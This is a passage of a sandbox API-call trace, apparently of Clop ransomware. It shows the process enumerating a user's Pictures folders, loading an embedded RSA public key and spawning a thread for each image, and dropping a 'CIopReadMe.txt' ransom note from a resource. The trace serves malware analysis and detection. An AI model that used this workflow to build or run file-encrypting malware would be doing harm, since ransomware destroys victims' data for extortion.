iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt") returned 93 [0098.547] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.547] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0098.548] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0098.548] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0098.548] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0098.548] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0098.548] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x558 [0098.548] WriteFile (in: hFile=0x558, lpBuffer=0x5f8bd0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc195c, lpOverlapped=0x0 | out: lpBuffer=0x5f8bd0*, lpNumberOfBytesWritten=0x2dc195c*=0x759, lpOverlapped=0x0) returned 1 [0098.549] CloseHandle (hObject=0x558) returned 1 [0098.549] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.549] lstrcmpW (lpString1="lAHCz7usAd.gif", lpString2="..") returned 1 [0098.549] lstrcmpW (lpString1="lAHCz7usAd.gif", lpString2=".") returned 1 [0098.549] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned 83 [0098.549] Sleep (dwMilliseconds=0xd) [0098.610] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.610] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="lAHCz7usAd.gif" | out: lpString1="lAHCz7usAd.gif") returned="lAHCz7usAd.gif" [0098.610] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0098.610] SetErrorMode (uMode=0x1) returned 0x1 [0098.610] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt") returned 93 [0098.611] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0098.611] CloseHandle (hObject=0x53c) returned 1 [0098.611] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.611] lstrcmpW (lpString1="MsxtzGW tpKDJN.gif", lpString2="..") returned 1 [0098.611] lstrcmpW (lpString1="MsxtzGW tpKDJN.gif", lpString2=".") returned 1 [0098.611] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned 83 [0098.611] Sleep (dwMilliseconds=0xd) [0098.661] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.661] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="MsxtzGW tpKDJN.gif" | out: lpString1="MsxtzGW tpKDJN.gif") returned="MsxtzGW tpKDJN.gif" [0098.661] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0098.661] SetErrorMode (uMode=0x1) returned 0x1 [0098.661] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt") returned 93 [0098.661] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0098.661] CloseHandle (hObject=0x570) returned 1 [0098.662] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.662] lstrcmpW (lpString1="TqgqXxG.bmp", lpString2="..") returned 1 [0098.662] lstrcmpW (lpString1="TqgqXxG.bmp", lpString2=".") returned 1 [0098.662] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned 83 [0098.662] Sleep (dwMilliseconds=0xd) [0098.711] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.711] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="TqgqXxG.bmp" | out: lpString1="TqgqXxG.bmp") returned="TqgqXxG.bmp" [0098.711] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0098.711] WaitForSingleObject (hHandle=0x564, dwMilliseconds=0xffffffff) returned 0x0 [0098.841] SetErrorMode (uMode=0x1) returned 0x1 [0098.841] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt") returned 93 [0098.841] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0098.841] CloseHandle (hObject=0x53c) returned 1 [0098.841] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.841] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0098.841] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 1 [0098.841] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 0 [0098.841] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0098.841] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0098.841] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x648e78 [0098.841] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0098.841] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0098.841] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0098.841] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0098.841] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.841] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0098.841] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.841] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0098.842] lstrcmpW (lpString1="E6JXhV-d_ UCg59VKS", lpString2="..") returned 1 [0098.842] lstrcmpW (lpString1="E6JXhV-d_ UCg59VKS", lpString2=".") returned 1 [0098.842] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0098.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0098.842] SetErrorMode (uMode=0x1) returned 0x1 [0098.842] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0098.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0098.842] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0098.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0098.842] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x648fb8 [0098.842] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0098.842] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0098.842] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0098.842] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0098.842] lstrcmpW (lpString1="dDTdaFbzRTbH.png", lpString2="..") returned 1 [0098.842] lstrcmpW (lpString1="dDTdaFbzRTbH.png", lpString2=".") returned 1 [0098.842] wsprintfW (in: param_1=0x2dc0d20, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned 102 [0098.842] Sleep (dwMilliseconds=0xd) [0098.856] lstrcpyA (in: lpString1=0x2dc0168, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.856] lstrcpyW (in: lpString1=0x2dc06c6, lpString2="dDTdaFbzRTbH.png" | out: lpString1="dDTdaFbzRTbH.png") returned="dDTdaFbzRTbH.png" [0098.856] lstrcpyW (in: lpString1=0x2dc02c6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0098.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0098.857] WaitForSingleObject (hHandle=0x574, dwMilliseconds=0xffffffff) returned 0x0 [0099.020] SetErrorMode (uMode=0x1) returned 0x1 [0099.020] wsprintfW (in: param_1=0x2dbfd2c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\CIopReadMe.txt") returned 112 [0099.020] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.020] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0099.020] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0099.020] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0099.020] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0099.020] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0099.020] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584 [0099.021] WriteFile (in: hFile=0x584, lpBuffer=0x5f8bd0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dbfd24, lpOverlapped=0x0 | out: lpBuffer=0x5f8bd0*, lpNumberOfBytesWritten=0x2dbfd24*=0x759, lpOverlapped=0x0) returned 1 [0099.022] CloseHandle (hObject=0x584) returned 1 [0099.022] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.022] lstrcmpW (lpString1="uOf1gCg-syx.bmp", lpString2="..") returned 1 [0099.022] lstrcmpW (lpString1="uOf1gCg-syx.bmp", lpString2=".") returned 1 [0099.022] wsprintfW (in: param_1=0x2dc0d20, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned 102 [0099.022] Sleep (dwMilliseconds=0xd) [0099.044] lstrcpyA (in: lpString1=0x2dc0168, lpString2="-----BEGIN PUBLIC KEY----- 